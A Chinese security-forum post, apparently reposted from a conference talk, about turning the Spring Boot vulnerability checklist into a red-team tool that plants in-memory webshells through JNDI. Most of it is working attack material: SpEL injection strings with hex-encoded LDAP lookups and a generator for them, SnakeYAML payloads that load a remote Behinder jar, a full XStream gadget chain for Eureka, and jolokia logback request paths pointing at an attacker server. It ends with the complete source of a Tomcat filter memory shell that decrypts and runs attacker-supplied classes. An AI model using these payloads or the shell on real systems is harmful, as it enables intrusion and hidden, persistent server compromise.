安全矩阵

 找回密码
 立即注册
搜索
查看: 818|回复: 0

原创 | Spring Boot RCE到内存马探索

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-11-5 20:21:57 | 显示全部楼层 |阅读模式
原创 | Spring Boot RCE到内存马探索 (qq.com)


前言SpringBootVulExploit是Spring Boot漏洞Check list,但在真正的环境中进行漏洞利用还是有一段距离的,因此衍生出了SpringBootExploit工具。本文是对该Check list到内存马探索之路的记录。再此过程中学到了很多知识,收获了很多,感谢神父hl0rey对我指导,才有工具诞生。   
本文内容是笔者在看雪大会上演讲的内容之一,本文应该在很早之前就发了,拖拖拉拉一直到现在。

漏洞归类Check list一共给出了十二种方法,我们首先归类一下,看有那些共同点。

           
  •         JNDI注入


                     
    •                 0x04:jolokia logback JNDI RCE

                     
    •                 0x05:jolokia Realm JNDI RCE

                     
    •                 0x07:h2 database console JNDI RCE

             
                   
  •         Restart


                     
    •                 0x06:restart h2 database query RCE

                     
    •                 0x09:restart logging.config logback JNDI RCE

                     
    •                 0x0A:restart logging.config groovy RCE

                     
    •                 0x0B:restart spring.main.sources groovy RCE

                     
    •                 0x0C:restart spring.datasource.data h2 database RCE

             
                   
  •         其他


                     
    •                 0x01:whitelabel error page SpEL RCE

                     
    •                 0x02:spring cloud SnakeYAML RCE

                     
    •                 0x03:eureka xstream deserialization RCE

                     
    •                 0x08:mysql jdbc deserialization RCE

             
           

分类标准,第一类是都可以直接使用JNDI注入的,第二类是都会将目标环境重启启动的,第三类是无法直接利用JNDI注入的。
第一类第一类是最容易实现的JNDI内存马注入的,遇到的问题也是最少的。
第二类第二类是都需要对环境进行重启操作,在测试过程中很容易对环境造成不可逆的后果。所以对此并没有进行整合,未来也不会集成。
第三类第三类是无法直接利用JNDI,并且Check list说明里面都是反弹shell、弹计算器之类操作,这对于红队的是意义很小。

漏洞规范化写工具首先得每一个漏洞的Payload进行规范,目前支持所有的方式就是将第三类转化支持JNDI注入的方式。将第三类漏洞进行转化是繁琐的工作,每一个漏洞目前网上公开的文章都是基于check list编写的。
此过程中遇到很多问题,一度曾放弃几种方式。一开始设想过支持回显,但后来发现,反序列化执行操作都是用服务器发起了,无法做到回显,压根行不通。所有后面只做了内存马,目前只支持一种内存马后期会考虑支持更多类型的内存马。
whitelabel error page SpEL RCESpEL RCE 最大问题就是如何用一句话的方式实现JNDI的方式。在天下大木头的指导下我获得提示:

  1. javax.naming.InitialContext context = new InitialContext();
  2. context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");
复制代码



根据上面尝试,在测试过程遇到莫名奇妙的一些问题。

  1. public class spel {
  2.     public static void main(String[] args) {
  3.         String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";
  4.         String rmi = "T(javax.naming.InitialContext).lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
  5.         String ldap = "new javax.naming.InitialContext().lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
  6.         String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))";
  7.         String poc2 = "java.lang.Class.forName("javax.naming.InitialContext").getMethod("lookup", String.class).invoke(Class.forName("javax.naming.InitialContext").newInstance(),"ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
  8.         SpelExpressionParser parser = new SpelExpressionParser();
  9.         Expression expression = parser.parseExpression(rmi);
  10.         StandardEvaluationContext context = new StandardEvaluationContext();
  11.         expression.getValue(context);


  12.     }
  13. }
复制代码



使用payload rmi时会报找不到lookup方法
编辑
使用payload poc2也报错
编辑
最终通过不断尝试payload ldap是有效。但这个漏洞利用方式没在工具里集成,是因为SpEL漏洞存在有很多种情况,无法做到考虑完全,如果你发现此漏洞可以用该工具生成Payload打。

  1. Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload
  2. ${new javax.naming.InitialContext().lookup(new String(new byte[]{ 0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,0x6c,0x33 }))}
复制代码

payload生成代码:
  1. public String SpelExpr(String cmd){

  2.         String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";

  3.         StringBuilder sb = new StringBuilder();
  4.         char[] ch = cmd.toCharArray();
  5.         for (int i=0 ; i<ch.length; i++){
  6.             sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
  7.             if (i != ch.length -1 ){
  8.                 sb.append(",");
  9.             }
  10.         }


  11.         ldap += sb.append(" }))}").toString();
  12.         System.out.println(ldap);
  13.         return ldap;

  14.     }
复制代码


spring cloud SnakeYAML RCESnakeYaml RCE处理的比较特殊,一开始尝试转化JNDI的方法测试失败。JNDI注入其实是可以的,后期成功,但有一个问题POST /refresh的时候会返回500,但注入是成功的(注入不成功也是,所以是无法很好的判断)。使用checklist中的jar方式返回是200。工具里面采用的是jar的方式,会判断是否注入成功。
直接JNDI注入的代码。

  1. String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
  2.     "  dataSourceName: "ldap://127.0.0.1:1389/basic/TomcatMemShell3"\n" +
  3.     "  autoCommit: true";
复制代码

服务器远程加载jar,但这里有一个点,生成的jar要符合规范。和传统的打包方式不一样,这里要满足某种规范(具体忘记了)artsploit/yaml-payload Y4er/yaml-payload 这里给出两个项目参考生成包含内存马jar。

  1. String bytes = "!!javax.script.ScriptEngineManager [\n" +
  2.     "  !!java.net.URLClassLoader [[\n" +
  3.     "    !!java.net.URL ["http://127.0.0.1:3456/behinder3.jar"]\n" +
  4.     "  ]]\n" +
  5.     "]\n";
复制代码


eureka xstream deserialization RCE
eureka xstream 反序列化漏洞本质是xstream反序列化漏洞,但有一点和传统XStream漏洞利用有区别的是,eureka处理不了hashmap。得重新构造EXP。
  1. This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the Marshalsec research. The only difference here is using LinkedHashSet to
  2. trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()'
  3. method. The original payload leverages java.lang.Map to achieve the same
  4. behaviour, but Eureka's XStream configuration has a custom converter for maps which
  5. makes it unusable. The payload above does not use Maps at all and can
  6. be used to achieve Remote Code Execution without additional constraints.
复制代码
在exploiting-spring-boot-actuators中写上面这段说明,大致意思就是eureka中不能使用hashmap,得替换成LinkedHashSet 。网上流传的XStream的payload都是基于hashmap的,原文给的payload以及check list的payload都是弹计算器,不能进一步的深入利用。如何构造转化成JNDI这一问题摆在我们面前,一开始踩了很多坑,后来发现YSOMAP里面集成了这个Payload。ysomap的使用方法大致类似于msf,如下图。

编辑


但生成的payload得小改一下(将HashMap改成LinkedHashSet),经过多次测试最终成形的payload如下:

  1. <linked-hash-set>
  2.     <jdk.nashorn.internal.objects.NativeString>
  3.       <flags>0</flags>
  4.       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
  5.         <dataHandler>
  6.           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
  7.             <is class="javax.crypto.CipherInputStream">
  8.               <cipher class="javax.crypto.NullCipher">
  9.                 <initialized>false</initialized>
  10.                 <opmode>0</opmode>
  11.                 <serviceIterator class="javax.imageio.spi.FilterIterator">
  12.                   <iter class="javax.imageio.spi.FilterIterator">
  13.                     <iter class="java.util.Collections$EmptyIterator"/>
  14.                     <next class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
  15.                       <javax.sql.rowset.BaseRowSet>
  16.                         <default>
  17.                           <concurrency>1008</concurrency>
  18.                           <escapeProcessing>true</escapeProcessing>
  19.                           <fetchDir>1000</fetchDir>
  20.                           <fetchSize>0</fetchSize>
  21.                           <isolation>2</isolation>
  22.                           <maxFieldSize>0</maxFieldSize>
  23.                           <maxRows>0</maxRows>
  24.                           <queryTimeout>0</queryTimeout>
  25.                           <readOnly>true</readOnly>
  26.                           <rowSetType>1004</rowSetType>
  27.                           <showDeleted>false</showDeleted>
  28.                           <dataSource>rmi://127.0.0.1:10990/Calc</dataSource>
  29.                           <listeners/>
  30.                           <params/>
  31.                         </default>
  32.                       </javax.sql.rowset.BaseRowSet>
  33.                       <com.sun.rowset.JdbcRowSetImpl>
  34.                         <default>
  35.                           <iMatchColumns>
  36.                             <int>-1</int>
  37.                             <int>-1</int>
  38.                             <int>-1</int>
  39.                             <int>-1</int>
  40.                             <int>-1</int>
  41.                             <int>-1</int>
  42.                             <int>-1</int>
  43.                             <int>-1</int>
  44.                             <int>-1</int>
  45.                             <int>-1</int>
  46.                           </iMatchColumns>
  47.                           <strMatchColumns>
  48.                             <null/>
  49.                             <null/>
  50.                             <null/>
  51.                             <null/>
  52.                             <null/>
  53.                             <null/>
  54.                             <null/>
  55.                             <null/>
  56.                             <null/>
  57.                             <null/>
  58.                           </strMatchColumns>
  59.                         </default>
  60.                       </com.sun.rowset.JdbcRowSetImpl>
  61.                     </next>
  62.                   </iter>
  63.                   <filter class="javax.imageio.ImageIO$ContainsFilter">
  64.                     <method>
  65.                       <class>com.sun.rowset.JdbcRowSetImpl</class>
  66.                       <name>getDatabaseMetaData</name>
  67.                       <parameter-types/>
  68.                     </method>
  69.                     <name>foo</name>
  70.                   </filter>
  71.                   <next class="string">foo</next>
  72.                 </serviceIterator>
  73.                 <lock/>
  74.               </cipher>
  75.               <input class="java.lang.ProcessBuilder$NullInputStream"/>
  76.               <ibuffer></ibuffer>
  77.               <done>false</done>
  78.               <ostart>0</ostart>
  79.               <ofinish>0</ofinish>
  80.               <closed>false</closed>
  81.             </is>
  82.             <consumed>false</consumed>
  83.           </dataSource>
  84.           <transferFlavors/>
  85.         </dataHandler>
  86.         <dataLen>0</dataLen>
  87.       </value>
  88.     </jdk.nashorn.internal.objects.NativeString>
  89.     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  90.   <entry>
  91.     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  92.     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  93.   </entry>
  94. </linked-hash-set>
复制代码
目前没有集成这个漏洞,因为服务器端要构造一个flask框架的服务端,内容包含上面的xml文件。
目前实现方式

           
  •         Java直接实现Flask框架 没有现成的方式(放弃)

           
  •         Java直接调用命令执行python文件(失败,Java调用Runtime和cmd直接调用是有区别的)

           
  •         使用jython执行python文件,脚本依赖flask依赖。要加入flask目录(不符合需求)

mysql jdbc deserialization RCE此漏洞利用极其复杂,条件要求较多。

           
  •         需要确认存在mysql驱动

           
  •         版本需要5.x或者8.x

           
  •         需要存在gadget依赖

           
  •         记录原本的spring.datasource.url 的value,最后恢复

           
  •         需要架设恶意rogue mysql server

成功率低,需要多,故目前没集成(后期可能会集成)。
jolokia logback JNDI RCEPayload
  1. String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps
  2.                 + ":3456!/a.xml";
复制代码
  • a.xml
  1. String bytes = "<configuration>\n  <insertFromJNDI env-entry-name="ldap://" + Config.ip + ":1389/TomcatBypass/TomcatMemshell3" as="appName" />\n</configuration>";
复制代码



jolokia Realm JNDI RCE这个RCE利用方式和上面一个差不多,存在jolokia logback JNDI RCE大概率存在jolokia Realm JNDI RCE漏洞,这里就不详细展开。
h2 database console JNDI RCE
编辑
服务端所有的漏洞都是要使用JNDI和HTTP服务,如果每一个都是攻击者进行使用将漏洞Payload进行适配,这会使得攻击者使用成本和时间成本就大大增大了,这也不能达到一键化,自动化的目的。一个适配所有漏洞的服务端的工具就由此而生,在神父的帮助下,找到了项目JNDIExploit。
项目解决了大部分功能,以及框架等问题,这也使得工具很快的得到阶段性的进展。
工具需求:
1.处理客户端发送的Payload请求,返回对应内容。
以jolokia logback JNDI RCE类型为例:
客户端要请求xx.xml文件,返回如下内容

  1. <configuration>
  2.   <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
  3. </configuration>
复制代码

2.定制内存马
和传统内存马注入有区别,JNDI是返回Class文件,直接实例化类。所以得定制化JNDI注入的内存马类文件,内存马源码如下。

  1. package com.feihong.ldap.template;

  2. import org.apache.catalina.LifecycleState;
  3. import org.apache.catalina.connector.Request;
  4. import org.apache.catalina.connector.Response;
  5. import org.apache.catalina.core.ApplicationContext;
  6. import org.apache.catalina.core.StandardContext;
  7. import org.apache.catalina.util.LifecycleBase;
  8. import org.apache.coyote.RequestInfo;

  9. import javax.crypto.Cipher;
  10. import javax.crypto.spec.SecretKeySpec;
  11. import javax.servlet.*;
  12. import javax.servlet.http.HttpServletRequest;
  13. import javax.servlet.http.HttpSession;
  14. import java.io.IOException;
  15. import java.io.InputStream;
  16. import java.io.Writer;
  17. import java.lang.reflect.Field;
  18. import java.lang.reflect.Method;
  19. import java.math.BigInteger;
  20. import java.security.MessageDigest;
  21. import java.util.EnumSet;
  22. import java.util.HashMap;
  23. import java.util.List;
  24. import java.util.Map;

  25. public class BehinderFilter extends ClassLoader implements Filter{
  26.     public String cs = "UTF-8";
  27. //    public String pwd = "eac9fa38330a7535";
  28.     public String pwd = "02f2a5c80f47d495";
  29.     public String path = "/ateam";
  30.     public String filterName = "ateam666";
  31.     public Request req = null;
  32.     public Response resp = null;


  33.     static {
  34.         try {
  35.             BehinderFilter behinderMemShell = new BehinderFilter();
  36.             if (behinderMemShell.req != null && behinderMemShell.resp != null){
  37.                 behinderMemShell.addFilter();
  38.             }
  39.         } catch (Exception e){
  40.         }
  41.     }


  42.     public Class g(byte[] b) {
  43.         return super.defineClass(b, 0, b.length);
  44.     }

  45.     public String md5(String s) {
  46.         String ret = null;
  47.         try {
  48.             MessageDigest m = MessageDigest.getInstance("MD5");
  49.             m.update(s.getBytes(), 0, s.length());
  50.             ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
  51.         } catch (Exception var4) {
  52.         }
  53.         return ret;
  54.     }

  55.     public BehinderFilter()  {
  56.         this.setParams();
  57.     }

  58.     public BehinderFilter(ClassLoader c) {
  59.         super(c);
  60.         this.setParams();
  61.     }


  62.     public void setParams(){
  63.         try {
  64.             boolean flag = false;
  65.             Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
  66.             for (int i=0;i<threads.length;i++){
  67.                 Thread thread = threads[i];
  68.                 if (thread != null){
  69.                     String threadName = thread.getName();
  70.                     if (!threadName.contains("exec") && threadName.contains("http")){
  71.                         Object target = getField(thread,"target");
  72.                         Object global = null;
  73.                         if (target instanceof Runnable){
  74.                             try {
  75.                                 global = getField(getField(getField(target,"this$0"),"handler"),"global");
  76.                             } catch (NoSuchFieldException fieldException){
  77.                                 fieldException.printStackTrace();
  78.                             }
  79.                         }
  80.                         if (global != null){
  81.                             List processors = (List) getField(global,"processors");
  82.                             for (i=0;i<processors.size();i++){
  83.                                 RequestInfo requestInfo = (RequestInfo) processors.get(i);
  84.                                 if (requestInfo != null){
  85.                                     org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) getField(requestInfo,"req");
  86.                                     org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
  87.                                     Response response = request.getResponse();
  88.                                     this.req = request;
  89.                                     this.resp = response;
  90.                                     flag = true;
  91.                                     break;
  92.                                 }
  93.                             }
  94.                         }
  95.                     }
  96.                 }
  97.                 if (flag){
  98.                     break;
  99.                 }
  100.             }
  101.         } catch (Exception e){
  102.             e.printStackTrace();
  103.         }
  104.     }


  105.     public String addFilter() throws Exception {
  106.         ServletContext servletContext = this.req.getServletContext();
  107.         Filter filter = this;
  108.         String filterName = this.filterName;
  109.         String url = this.path;
  110.         if (servletContext.getFilterRegistration(filterName) == null) {
  111.             Field contextField = null;
  112.             ApplicationContext applicationContext = null;
  113.             StandardContext standardContext = null;
  114.             Field stateField = null;
  115.             FilterRegistration.Dynamic filterRegistration = null;

  116.             String var11;
  117.             try {
  118.                 contextField = servletContext.getClass().getDeclaredField("context");
  119.                 contextField.setAccessible(true);
  120.                 applicationContext = (ApplicationContext)contextField.get(servletContext);
  121.                 contextField = applicationContext.getClass().getDeclaredField("context");
  122.                 contextField.setAccessible(true);
  123.                 standardContext = (StandardContext)contextField.get(applicationContext);
  124.                 stateField = LifecycleBase.class.getDeclaredField("state");
  125.                 stateField.setAccessible(true);
  126.                 stateField.set(standardContext, LifecycleState.STARTING_PREP);
  127.                 filterRegistration = servletContext.addFilter(filterName, filter);
  128.                 filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
  129.                 Method filterStartMethod = StandardContext.class.getMethod("filterStart");
  130.                 filterStartMethod.setAccessible(true);
  131.                 filterStartMethod.invoke(standardContext, (Object[])null);
  132.                 stateField.set(standardContext, LifecycleState.STARTED);
  133.                 var11 = null;

  134.                 Class filterMap;
  135.                 try {
  136.                     filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
  137.                 } catch (Exception var22) {
  138.                     filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
  139.                 }

  140.                 Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
  141.                 Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext)));
  142.                 for(int i = 0; i < filterMaps.length; ++i) {
  143.                     Object filterMapObj = filterMaps[i];
  144.                     findFilterMaps = filterMap.getMethod("getFilterName");
  145.                     String name = (String)findFilterMaps.invoke(filterMapObj);
  146.                     if (name.equalsIgnoreCase(filterName)) {
  147.                         filterMaps[i] = filterMaps[0];
  148.                         filterMaps[0] = filterMapObj;
  149.                     }
  150.                 }
  151.                 String var25 = "Success";
  152.                 String var26 = var25;
  153.                 return var26;
  154.             } catch (Exception var23) {
  155.                 var11 = var23.getMessage();
  156.             } finally {
  157.                 stateField.set(standardContext, LifecycleState.STARTED);
  158.             }

  159.             return var11;
  160.         } else {
  161.             return "Filter already exists";
  162.         }
  163.     }

  164.     public static Object getField(Object obj, String fieldName) throws Exception {
  165.         Field f0 = null;
  166.         Class clas = obj.getClass();

  167.         while (clas != Object.class){
  168.             try {
  169.                 f0 = clas.getDeclaredField(fieldName);
  170.                 break;
  171.             } catch (NoSuchFieldException e){
  172.                 clas = clas.getSuperclass();
  173.             }
  174.         }

  175.         if (f0 != null){
  176.             f0.setAccessible(true);
  177.             return f0.get(obj);
  178.         }else {
  179.             throw new NoSuchFieldException(fieldName);
  180.         }
  181.     }



  182.     @Override
  183.     public void init(FilterConfig filterConfig) throws ServletException {

  184.     }

  185.     @Override
  186.     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  187.         HttpSession session = ((HttpServletRequest)req).getSession();
  188.         Map obj = new HashMap();
  189.         obj.put("request", req);
  190.         obj.put("response", resp);
  191.         obj.put("session", session);
  192.         try {
  193.             session.putValue("u", this.pwd);
  194.             Cipher c = Cipher.getInstance("AES");
  195.             c.init(2, new SecretKeySpec(this.pwd.getBytes(), "AES"));
  196.             (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
  197.         } catch (Exception var7) {
  198.             var7.printStackTrace();
  199.         }
  200.     }

  201.     public byte[] base64Decode(String str) throws Exception {
  202.         try {
  203.             Class clazz = Class.forName("sun.misc.BASE64Decoder");
  204.             return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
  205.         } catch (Exception var5) {
  206.             Class clazz = Class.forName("java.util.Base64");
  207.             Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
  208.             return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
  209.         }
  210.     }

  211.     @Override
  212.     public void destroy() {

  213.     }
  214. }

复制代码



总结
可能是大多数人没有需求,或者是安全研究员没有打红队的原因。导致利用方式普遍都是以弹计算器为最终结果,不能进一步深入利用,导致很多漏洞不了了之。目前网上普遍分析文章,复现文章都是以弹计算器结束,但这其实与实战化的需求还存在着很远的一段路程。
写工具的时候遇到很多奇奇怪怪的问题,如果这些漏洞都能以高级漏洞利用的方式,或者不是执行命令但计算器的方式结束,其实会好很多。当然这些漏洞目前都是间接或者直接转化成JNDI的方式进行漏洞利用,这虽然也存在一定的局限性。但我觉得这是一个开端,后续有人肯定有跟多的奇思妙想的解决方案。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:35 , Processed in 0.014557 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表